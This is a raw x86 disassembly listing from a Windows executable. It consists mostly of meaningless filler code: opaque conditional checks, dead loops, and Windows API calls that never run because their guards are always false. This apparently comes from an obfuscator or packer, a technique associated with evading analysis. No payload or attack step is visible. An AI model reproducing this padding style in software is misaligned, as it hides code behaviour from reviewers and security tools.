mov dword [ebp - 0x3290], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x113c]
mov dword [ebp + eax - 0x5980], ecx
mov eax, dword [ebp - 0x113c]
cmp eax, dword [ebp - 0x3290]
jl 0x46177e
mov dword [ebp - 0x16d4], 1
jmp 0x461785
and dword [ebp - 0x16d4], 0
push 0
lea ecx, [ebp - 0x4bc0]
call fcn.004148e3
mov ecx, dword [ebp - 0x16d4]
mov dword [eax], ecx
lea ecx, [ebp - 0x4bc0]
call fcn.004148c7
lea ecx, [ebp - 0x4bd8]
call fcn.004148c7
mov dword [ebp - 0x90], 1
push 4
lea ecx, [ebp - 0x4764]
call fcn.004147f5
mov dword [ebp - 0x700], 0xa18885c6
mov dword [ebp - 0x1078], 0
jmp 0x4617ea
mov eax, dword [ebp - 0x1078]
inc eax
mov dword [ebp - 0x1078], eax
cmp dword [ebp - 0x1078], 4
jge 0x46180c
push dword [ebp - 0x1078]
lea ecx, [ebp - 0x4764]
call fcn.004148e3
mov dword [eax], 0xb3198a8f
jmp 0x4617dd
mov dword [ebp - 0x700], 0
jmp 0x461825
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 3
jg 0x461858
push dword [ebp - 0x700]
lea ecx, [ebp - 0x4764]
call fcn.004148e3
mov esi, eax
push dword [ebp - 0x700]
lea ecx, [ebp - 0x4764]
call fcn.004148e3
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x461818
lea ecx, [ebp - 0x4764]
call fcn.004148c7
mov dword [ebp - 0x4610], 0x503ecef3
mov dword [ebp - 0x15c], 0xfffffff6
mov dword [ebp - 0x1144], 4
mov dword [ebp - 0xe0c], 0xbc00eadd
mov dword [ebp - 0x1304], 0xea90
mov dword [ebp - 0x4230], 0
mov dword [ebp - 0x15c], 0xffffffeb
jmp 0x4618b8
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xffffffed
je 0x461a7d
mov dword [ebp - 0x8b4], 1
mov dword [ebp - 0x1444], 8
mov dword [ebp - 0x4220], 0xfffffffb
mov dword [ebp - 0xb3c], 0
jmp 0x4618fc
mov eax, dword [ebp - 0xb3c]
inc eax
mov dword [ebp - 0xb3c], eax
cmp dword [ebp - 0xb3c], 1
jge 0x461918
mov eax, dword [ebp - 0xb3c]
mov dword [ebp + eax*4 - 0x16e4], 0xffffffff
jmp 0x4618ef
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8b4]
mov dword [ebp + eax - 0x16e4], ecx
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x8b4], eax
jle 0x461945
mov dword [ebp - 0x4210], 1
jmp 0x46194c
and dword [ebp - 0x4210], 0
mov eax, 0x392f2092
sub eax, 0x6ff609d7
neg eax
cmp eax, dword [ebp - 0x8b4]
jl 0x46196c
mov dword [ebp - 0x3298], 1
jmp 0x461973
and dword [ebp - 0x3298], 0
cmp dword [ebp - 0x3298], 0xe96f8f9e
je 0x46198b
mov dword [ebp - 0x16dc], 1
jmp 0x461992
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x1444]
cmp dword [ebp - 0x16dc], eax
jne 0x4619b2
mov eax, 0xffff
test eax, eax
jne 0x4619b2
and dword [ebp - 0x32a0], 0
jmp 0x4619bc
mov dword [ebp - 0x32a0], 1
mov eax, dword [ebp - 0x32a0]
mov dword [ebp - 0xe0c], eax
mov eax, dword [ebp - 0xe0c]
mov dword [ebp - 0x5258], eax
cmp dword [ebp - 0x1444], 6
ja 0x4619e9
mov dword [ebp - 0x4218], 1
jmp 0x4619f0
and dword [ebp - 0x4218], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x5260], eax
mov eax, dword [ebp - 0x8b4]
cmp dword [ebp - 0x1144], eax
jge 0x461a1c
cmp dword [ebp - 0x15c], 0
jne 0x461a1c
and dword [ebp - 0x32a8], 0
jmp 0x461a26
mov dword [ebp - 0x32a8], 1
mov eax, dword [ebp - 0x1144]
mov dword [ebp - 0x16ec], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16ec]
mov dword [ebp + eax - 0x16e4], ecx
mov eax, dword [ebp - 0x1444]
add eax, dword [ebp - 0x32a8]
cmp dword [ebp - 0x16ec], eax
jge 0x461a65
mov dword [ebp - 0x32b0], 1
jmp 0x461a6c
and dword [ebp - 0x32b0], 0
mov eax, dword [ebp - 0x32b0]
mov dword [ebp - 0x4220], eax
jmp 0x4618ab
mov dword [ebp - 0x15c], 0
jmp 0x461a96
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xfffffffb
jg 0x461ced
mov dword [ebp - 0x7b8], 0xd6cd5387
mov dword [ebp - 0x708], 0xe45a9172
mov dword [ebp - 0x99c], 0xfffffff6
mov eax, dword [ebp - 0x1144]
mov dword [ebp - 0x5268], eax
mov eax, dword [ebp - 0x1304]
dec eax
mov dword [ebp - 0x1304], eax
je 0x461b1e
mov eax, dword [ebp - 0x7b8]
cmp dword [ebp - 0x99c], eax
je 0x461af6
mov dword [ebp - 0x16f4], 1
jmp 0x461afd
and dword [ebp - 0x16f4], 0
cmp dword [ebp - 0x16f4], 0x71f8
jg 0x461b1e
cmp dword [ebp - 0x15c], 0
je 0x461b1e
mov dword [ebp - 0x4228], 1
jmp 0x461b25
and dword [ebp - 0x4228], 0
mov eax, dword [ebp - 0x7b8]
mov ecx, dword [ebp - 0x15c]
imul ecx, dword [ebp - 0x99c]
sub eax, ecx
cmp eax, dword [ebp - 0x99c]
je 0x461b4e
mov dword [ebp - 0x32b8], 1
jmp 0x461b55
and dword [ebp - 0x32b8], 0
mov eax, dword [ebp - 0x32b8]
sub eax, dword [ebp - 0x7b8]
cmp eax, dword [ebp - 0x7b8]
jl 0x461b75
mov dword [ebp - 0x16fc], 1
jmp 0x461b7c
and dword [ebp - 0x16fc], 0
mov eax, dword [ebp - 0x99c]
cmp dword [ebp - 0x16fc], eax
jle 0x461b96
mov dword [ebp - 0x32c0], 1
jmp 0x461b9d
and dword [ebp - 0x32c0], 0
mov dword [ebp - 0xe0c], 0x87b332e
mov eax, dword [ebp - 0xe0c]
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0x32c0]
shl eax, 2
cmp dword [ebp - 0x708], eax
jne 0x461bd0
mov dword [ebp - 0x1704], 1
jmp 0x461bd7
and dword [ebp - 0x1704], 0
cmp dword [ebp - 0x1704], 0x99fd
je 0x461bef
mov dword [ebp - 0x32c8], 1
jmp 0x461bf6
and dword [ebp - 0x32c8], 0
mov eax, dword [ebp - 0x7b8]
cmp dword [ebp - 0x32c8], eax
jg 0x461c10
mov dword [ebp - 0x170c], 1
jmp 0x461c17
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x7b8]
cmp eax, dword [ebp - 0x170c]
je 0x461c31
mov dword [ebp - 0x32d0], 1
jmp 0x461c38
and dword [ebp - 0x32d0], 0
mov eax, dword [ebp - 0x32d0]
dec eax
cmp eax, dword [ebp - 0x99c]
jle 0x461c53
mov dword [ebp - 0x1714], 1
jmp 0x461c5a
and dword [ebp - 0x1714], 0
cmp dword [ebp - 0x1714], 0xc911b6be
jb 0x461c72
mov dword [ebp - 0x32d8], 1
jmp 0x461c79
and dword [ebp - 0x32d8], 0
mov eax, dword [ebp - 0x32d8]
neg eax
mov dword [ebp - 0x4230], eax
mov dword [ebp - 0x708], 0x11
jmp 0x461ca0
mov eax, dword [ebp - 0x708]
dec eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 4
jge 0x461ce8
mov byte [ebp - 0x6e0], 0
movzx eax, byte [ebp - 0x6e0]
test eax, eax
je 0x461cc5
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov byte [ebp - 0x685], 0
movzx eax, byte [ebp - 0x685]
test eax, eax
je 0x461ce6
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
jmp 0x461c93
jmp 0x461a89
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
cmp dword [eax], 0
je 0x461d1f
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
cmp dword [eax], 0
je 0x461d1f
mov dword [ebp - 0x171c], 1
jmp 0x461d26
and dword [ebp - 0x171c], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov ecx, dword [ebp - 0x171c]
cmp ecx, dword [eax]
jge 0x461d4a
mov dword [ebp - 0x32e0], 1
jmp 0x461d51
and dword [ebp - 0x32e0], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov ecx, dword [ebp - 0x32e0]
add ecx, dword [eax]
jne 0x461d75
mov dword [ebp - 0x1724], 1
jmp 0x461d7c
and dword [ebp - 0x1724], 0
mov eax, dword [ebp - 0x1724]
mov dword [ebp - 0x90], eax
mov esi, dword [ebp - 0x90]
push 3
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
cmp esi, dword [eax]
jle 0x461dab
mov dword [ebp - 0x4238], 1
jmp 0x461db2
and dword [ebp - 0x4238], 0
mov dword [ebp - 0x154], 8
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x5270], eax
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x5278], eax
push 0
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
push 2
pop eax
test eax, eax
je 0x461dfd
cmp dword [ebp - 0x154], 0
je 0x461dfd
mov dword [ebp - 0x32e8], 1
jmp 0x461e04
and dword [ebp - 0x32e8], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov ecx, dword [ebp - 0x32e8]
cmp ecx, dword [eax]
jge 0x461e28
mov dword [ebp - 0x172c], 1
jmp 0x461e2f
and dword [ebp - 0x172c], 0
cmp dword [ebp - 0x172c], 0
jl 0x461e44
mov dword [ebp - 0x32f0], 1
jmp 0x461e4b
and dword [ebp - 0x32f0], 0
push 3
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov ecx, dword [ebp - 0x32f0]
cmp ecx, dword [eax]
jg 0x461e6e
mov dword [ebp - 0x4240], 1
jmp 0x461e75
and dword [ebp - 0x4240], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov eax, dword [eax]
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x197cbb40
jne 0x461ea3
mov dword [ebp - 0x1734], 1
jmp 0x461eaa
and dword [ebp - 0x1734], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1734]
jne 0x461ece
mov dword [ebp - 0x32f8], 1
jmp 0x461ed5
and dword [ebp - 0x32f8], 0
mov eax, dword [ebp - 0x32f8]
sub eax, 0xa
je 0x4645b5
mov dword [ebp - 0x13c], 0xfffffffb
mov dword [ebp - 0x114], 0x41b66baf
push 2
lea ecx, [ebp - 0xa84]
call fcn.004147f5
mov dword [ebp - 0xe14], 1
mov dword [ebp - 0x5280], 0x1d584d75
mov dword [ebp - 0xb44], 0
jmp 0x461f32
mov eax, dword [ebp - 0xb44]
inc eax
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0xb44], 2
jge 0x461f54
push dword [ebp - 0xb44]
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov dword [eax], 0x3b0a6d08
jmp 0x461f25
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x5288], eax
cmp dword [ebp - 0x114], 0
je 0x46205b
cmp dword [ebp - 0x114], 0
jne 0x461f88
cmp dword [ebp - 0x13c], 0
jne 0x461f88
and dword [ebp - 0x1744], 0
jmp 0x461f92
mov dword [ebp - 0x1744], 1
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x13c], eax
je 0x461fac
mov dword [ebp - 0x173c], 1
jmp 0x461fb3
and dword [ebp - 0x173c], 0
mov eax, dword [ebp - 0x173c]
sub eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x114]
jl 0x461fd3
mov dword [ebp - 0x3300], 1
jmp 0x461fda
and dword [ebp - 0x3300], 0
mov eax, dword [ebp - 0x3300]
sub eax, 4
jne 0x461ff7
cmp dword [ebp - 0x114], 0
jne 0x461ff7
and dword [ebp - 0x3308], 0
jmp 0x462001
mov dword [ebp - 0x3308], 1
mov eax, dword [ebp - 0x1744]
cmp eax, dword [ebp - 0x3308]
jne 0x46201b
mov dword [ebp - 0x174c], 1
jmp 0x462022
and dword [ebp - 0x174c], 0
cmp dword [ebp - 0x174c], 0x889e
jl 0x46203a
mov dword [ebp - 0x3310], 1
jmp 0x462041
and dword [ebp - 0x3310], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x3310], eax
jg 0x46205b
mov dword [ebp - 0x1754], 1
jmp 0x462062
and dword [ebp - 0x1754], 0
imul eax, dword [ebp - 0x1754], 0xfffffff9
sub eax, 0x703c5764
cmp eax, dword [ebp - 0x114]
jg 0x462082
mov dword [ebp - 0x114c], 1
jmp 0x462089
and dword [ebp - 0x114c], 0
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov ecx, dword [ebp - 0x114c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114c]
mov dword [ebp - 0xe14], eax
cmp dword [ebp - 0x13c], 0
je 0x4622fc
mov dword [ebp - 0x4250], 0x239f
mov dword [ebp - 0x13c], 0
jmp 0x4620da
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jg 0x4622d6
mov dword [ebp - 0xb4c], 0xf0adc109
mov dword [ebp - 0x4258], 0xa0f83931
mov dword [ebp - 0x114], 0
jmp 0x462114
cmp dword [ebp - 0x114], 1
jg 0x4622d1
push 2
lea ecx, [ebp - 0x4bf0]
call fcn.004147f5
mov dword [ebp - 0xf74], 0
jmp 0x462147
mov eax, dword [ebp - 0xf74]
inc eax
mov dword [ebp - 0xf74], eax
cmp dword [ebp - 0xf74], 2
jge 0x462166
push dword [ebp - 0xf74]
lea ecx, [ebp - 0x4bf0]
call fcn.004148e3
or dword [eax], 0xffffffff
jmp 0x46213a
mov eax, dword [ebp - 0xb4c]
dec eax
mov dword [ebp - 0xb4c], eax
push dword [ebp - 0x114]
lea ecx, [ebp - 0xa84]
call fcn.004148e3
push dword [ebp - 0x13c]
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov ecx, dword [ebp - 0xb4c]
cmp dword [eax], ecx
jg 0x4621ab
mov dword [ebp - 0x4248], 1
jmp 0x4621b2
and dword [ebp - 0x4248], 0
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov eax, dword [eax]
sub eax, dword [ebp - 0xb4c]
add eax, 0xffff
cmp eax, 0xd1a0c8
jl 0x4621ec
mov dword [ebp - 0x3318], 1
jmp 0x4621f3
and dword [ebp - 0x3318], 0
push dword [ebp - 0x114]
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov ecx, dword [ebp - 0x3318]
cmp ecx, dword [eax]
jg 0x46221a
jmp 0x4620cd
mov byte [ebp - 0x6e2], 0
movzx eax, byte [ebp - 0x6e2]
test eax, eax
je 0x4622f7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x4623e0
mov dword [ebp - 0x848], 0xfffffffd
mov dword [ebp - 0x4268], 0xbda3fa0b
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov esi, eax
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x46234b
mov dword [ebp - 0x1764], 1
jmp 0x462352
and dword [ebp - 0x1764], 0
mov eax, dword [ebp - 0x848]
add eax, dword [ebp - 0x1764]
imul eax, eax, 0x78c7
cmp dword [ebp - 0x848], eax
jne 0x462381
cmp dword [ebp - 0x848], 0
je 0x462381
mov dword [ebp - 0x4260], 1
jmp 0x462388
and dword [ebp - 0x4260], 0
mov eax, dword [ebp - 0x848]
cmp dword [ebp - 0xe14], eax
je 0x4623a2
mov dword [ebp - 0x3328], 1
jmp 0x4623a9
and dword [ebp - 0x3328], 0
cmp dword [ebp - 0x3328], 0x85e3970c
jae 0x4623c1
mov dword [ebp - 0x176c], 1
jmp 0x4623c8
and dword [ebp - 0x176c], 0
mov eax, dword [ebp - 0x176c]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x4268], eax
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
push 0
lea ecx, [ebp - 0xa84]
call fcn.004148e3
mov dword [eax], 0x51ef224b
mov dword [ebp - 0xe14], 0x51ef224b
lea ecx, [ebp - 0xa84]
call fcn.004148c7
push 2
lea ecx, [ebp - 0x47ac]
call fcn.004147f5
mov dword [ebp - 0x710], 0xffffffff
mov dword [ebp - 0x5290], 0x18c9a01c
mov dword [ebp - 0xb54], 0
jmp 0x46244f
mov eax, dword [ebp - 0xb54]
inc eax
mov dword [ebp - 0xb54], eax
cmp dword [ebp - 0xb54], 4
jge 0x46246b
mov eax, dword [ebp - 0xb54]
mov dword [ebp + eax*4 - 0x62a8], 0xffff
jmp 0x462442
xor eax, eax
inc eax
je 0x46259a
cmp dword [ebp - 0x710], 0
je 0x46259a
cmp dword [ebp - 0x710], 0
je 0x46259a
mov dword [ebp - 0x1774], 0xcc51
mov eax, dword [ebp - 0x1774]
inc eax
mov dword [ebp - 0x1774], eax
mov dword [ebp - 0x480], 0xdb3ae355
mov dword [ebp - 0x3c0], 0x63d62a04
mov dword [ebp - 0x1154], 8
mov dword [ebp - 0x3340], 0x5291260e
mov dword [ebp - 0x480], 0xfffffff2
jmp 0x4625f2
cmp dword [ebp - 0x480], 0xd
jle 0x4629a1
mov dword [ebp - 0xb84], 1
mov dword [ebp - 0x5310], 0x94543beb
mov dword [ebp - 0xb84], 0x1d
jmp 0x4645e2
mov eax, dword [ebp - 0xb84]
dec eax
mov dword [ebp - 0xb84], eax
cmp dword [ebp - 0xb84], 0xffffffef
jl 0x464621
mov dword [ebp - 0x4358], 0x44696a48
mov byte [ebp - 0x68d], 0
movzx eax, byte [ebp - 0x68d]
test eax, eax
je 0x464615
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov dword [ebp - 0x4358], 0x876e6bac
jmp 0x4645d5
mov dword [ebp - 0x19fc], 0x66802143
mov dword [ebp - 0xb8c], 0xffffffff
mov dword [ebp - 0xf84], 0
jmp 0x46464e
mov eax, dword [ebp - 0xf84]
inc eax
mov dword [ebp - 0xf84], eax
cmp dword [ebp - 0xf84], 2
jge 0x46466a
mov eax, dword [ebp - 0xf84]
mov dword [ebp + eax*4 - 0x6218], 0xf9b3
jmp 0x464641
mov dword [ebp - 0xb8c], 1
jmp 0x464683
mov eax, dword [ebp - 0xb8c]
dec eax
mov dword [ebp - 0xb8c], eax
cmp dword [ebp - 0xb8c], 0
jl 0x4646bb
mov byte [ebp - 0x6bd], 0
movzx eax, byte [ebp - 0x6bd]
test eax, eax
je 0x4646b9
push 0
push 0
push 0x1069
push 0x6ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x464676
mov dword [ebp - 0x4620], 1
mov dword [ebp - 0x818], 0x1928c176
mov dword [ebp - 0x818], 0x16
jmp 0x4646e8
mov eax, dword [ebp - 0x818]
dec eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0xd
je 0x464747
mov dword [ebp - 0x34f8], 0x662a2b3b
mov eax, dword [ebp - 0x818]
imul eax, dword [ebp - 0x818]
test eax, eax
je 0x464723
mov dword [ebp - 0x4360], 0xfffb
cmp dword [ebp - 0x4360], 0
je 0x464721
jmp 0x464747
jmp 0x464745
mov dword [ebp - 0x4368], 0xffffffff
mov eax, dword [ebp - 0x34f8]
inc eax
mov dword [ebp - 0x34f8], eax
cmp dword [ebp - 0x4368], 0
je 0x464745
jmp 0x4646db
jmp 0x4646db
mov dword [ebp - 0x108], 0x443250e6
mov dword [ebp - 0x4380], 2
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x108], eax
je 0x464775
mov dword [ebp - 0x193c], 1
jmp 0x46477c
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x193c]
lea ecx, [edx + ecx + 1]
imul eax, ecx
cmp eax, 0xbf0b
jge 0x4647a8
mov dword [ebp - 0x3500], 1
jmp 0x4647af
and dword [ebp - 0x3500], 0
mov eax, dword [ebp - 0x3500]
sub eax, dword [ebp - 0x108]
cmp eax, 0x35ca4204
jg 0x464a07
push 1
lea ecx, [ebp - 0x3ab8]
call fcn.004147f5
mov dword [ebp - 0x194c], 0x80f885bd
mov dword [ebp - 0x1944], 0xcfdfe92
mov dword [ebp - 0x3518], 0xfffffffe
mov dword [ebp - 0x4378], 0x8d36fbc6
mov dword [ebp - 0xe34], 0
jmp 0x464814
cmp dword [ebp - 0xe34], 1
jge 0x464836
push dword [ebp - 0xe34]
lea ecx, [ebp - 0x3ab8]
call fcn.004148e3
mov dword [eax], 0x12def906
jmp 0x464807
push 0
lea ecx, [ebp - 0x3ab8]
call fcn.004148e3
mov dword [ebp - 0x1944], 2
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x1944], eax
jg 0x464867
mov dword [ebp - 0xb94], 0
jmp 0x464a20
cmp dword [ebp - 0xb94], 3
jge 0x464a3c
mov eax, dword [ebp - 0xb94]
mov dword [ebp + eax*4 - 0x6090], 0x5c526587
jmp 0x464a13
mov dword [ebp - 0x108], 0xfffffff0
jmp 0x464a55
lea ecx, [ebp - 0xa6c]
call fcn.004148c7
mov dword [ebp - 0x7c8], 0x642c70bb
mov dword [ebp - 0xbbc], 0
jmp 0x465e21
mov eax, dword [ebp - 0xbbc]
inc eax
mov dword [ebp - 0xbbc], eax
cmp dword [ebp - 0xbbc], 1
jge 0x465e3d
mov eax, dword [ebp - 0xbbc]
mov dword [ebp + eax*4 - 0x4648], 1
jmp 0x465e14
mov dword [ebp - 0x7c8], 0
jmp 0x465e56
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 1
jge 0x465e72
mov eax, dword [ebp - 0x7c8]
mov dword [ebp + eax*4 - 0x4648], 0
jmp 0x465e49
mov dword [ebp - 0x7c8], 1
push 2
lea ecx, [ebp - 0x10c0]
call fcn.004147f5
mov dword [ebp - 0x728], 0xa017779a
mov dword [ebp - 0x3658], 0x780eec29
mov dword [ebp - 0x4650], 0x81320f2d
mov dword [ebp - 0xe4c], 0
jmp 0x465ec0
mov eax, dword [ebp - 0xe4c]
inc eax
mov dword [ebp - 0xe4c], eax
cmp dword [ebp - 0xe4c], 2
jge 0x465ee2
push dword [ebp - 0xe4c]
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov dword [eax], 0x1ad386cc
jmp 0x465eb3
push 0
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov esi, eax
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov esi, dword [esi]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
cmp esi, dword [eax]
jl 0x465f20
mov dword [ebp - 0x1a7c], 1
jmp 0x465f27
and dword [ebp - 0x1a7c], 0
cmp dword [ebp - 0x1a7c], 0x61e
je 0x465f4e
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
cmp dword [eax], 0
jne 0x465f4e
and dword [ebp - 0x3640], 0
jmp 0x465f58
mov dword [ebp - 0x3640], 1
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov ecx, dword [ebp - 0x3640]
cmp ecx, dword [eax]
jle 0x465f7b
mov dword [ebp - 0x1a84], 1
jmp 0x465f82
and dword [ebp - 0x1a84], 0
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1a84]
jg 0x465fa5
mov dword [ebp - 0x3648], 1
jmp 0x465fac
and dword [ebp - 0x3648], 0
cmp dword [ebp - 0x3648], 0xfadacd7d
jbe 0x465fc4
mov dword [ebp - 0x1a8c], 1
jmp 0x465fcb
and dword [ebp - 0x1a8c], 0
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov ecx, dword [ebp - 0x1a8c]
cmp ecx, dword [eax]
jle 0x465fee
mov dword [ebp - 0x3650], 1
jmp 0x465ff5
and dword [ebp - 0x3650], 0
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3650]
je 0x466018
mov dword [ebp - 0x1a94], 1
jmp 0x46601f
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0x1a94]
mov dword [ebp - 0x728], eax
mov esi, dword [ebp - 0x728]
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
imul esi, dword [eax]
mov dword [ebp - 0x3658], esi
mov esi, dword [ebp - 0x3658]
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
cmp dword [eax], esi
jge 0x46606a
mov dword [ebp - 0x1a9c], 1
jmp 0x466071
and dword [ebp - 0x1a9c], 0
push 1
lea ecx, [ebp - 0x10c0]
call fcn.004148e3
mov ecx, dword [ebp - 0x1a9c]
cmp ecx, dword [eax]
jg 0x466094
mov dword [ebp - 0x3660], 1
jmp 0x46609b
and dword [ebp - 0x3660], 0
mov eax, dword [ebp - 0x3660]
mov dword [ebp - 0x4650], eax
mov dword [ebp - 0x728], 1
jmp 0x4660c0
mov eax, dword [ebp - 0x728]
dec eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0
jl 0x466106
mov byte [ebp - 0x4c3], 0
movzx eax, byte [ebp - 0x4c3]
test eax, eax
je 0x4660e1
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov byte [ebp - 0x4c5], 0
movzx eax, byte [ebp - 0x4c5]
test eax, eax
je 0x466104
push 0x1608
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x4660b3
lea ecx, [ebp - 0x10c0]
call fcn.004148c7
push 2
lea ecx, [ebp - 0x10d8]
call fcn.004147f5
mov dword [ebp - 0x868], 0xa017779a
mov dword [ebp - 0x3680], 0x780eec29
mov dword [ebp - 0x4658], 0x81320f2d
mov dword [ebp - 0xbc4], 0
jmp 0x466155
mov eax, dword [ebp - 0xbc4]
inc eax
mov dword [ebp - 0xbc4], eax
cmp dword [ebp - 0xbc4], 2
jge 0x466177
push dword [ebp - 0xbc4]
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov dword [eax], 0x1ad386cc
jmp 0x466148
push 0
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov esi, eax
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov esi, dword [esi]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
cmp esi, dword [eax]
jl 0x4661b5
mov dword [ebp - 0x1aa4], 1
jmp 0x4661bc
and dword [ebp - 0x1aa4], 0
cmp dword [ebp - 0x1aa4], 0x61e
je 0x4661e3
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
cmp dword [eax], 0
jne 0x4661e3
and dword [ebp - 0x3668], 0
jmp 0x4661ed
mov dword [ebp - 0x3668], 1
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov ecx, dword [ebp - 0x3668]
cmp ecx, dword [eax]
jle 0x466210
mov dword [ebp - 0x1aac], 1
jmp 0x466217
and dword [ebp - 0x1aac], 0
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1aac]
jg 0x46623a
mov dword [ebp - 0x3670], 1
jmp 0x466241
and dword [ebp - 0x3670], 0
cmp dword [ebp - 0x3670], 0xfadacd7d
jbe 0x466259
mov dword [ebp - 0x1ab4], 1
jmp 0x466260
and dword [ebp - 0x1ab4], 0
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov ecx, dword [ebp - 0x1ab4]
cmp ecx, dword [eax]
jle 0x466283
mov dword [ebp - 0x3678], 1
jmp 0x46628a
and dword [ebp - 0x3678], 0
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3678]
je 0x4662ad
mov dword [ebp - 0x1abc], 1
jmp 0x4662b4
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x1abc]
mov dword [ebp - 0x868], eax
mov esi, dword [ebp - 0x868]
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
imul esi, dword [eax]
mov dword [ebp - 0x3680], esi
mov esi, dword [ebp - 0x3680]
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
cmp dword [eax], esi
jge 0x4662ff
mov dword [ebp - 0x1ac4], 1
jmp 0x466306
and dword [ebp - 0x1ac4], 0
push 1
lea ecx, [ebp - 0x10d8]
call fcn.004148e3
mov ecx, dword [ebp - 0x1ac4]
cmp ecx, dword [eax]
jg 0x466329
mov dword [ebp - 0x3688], 1
jmp 0x466330
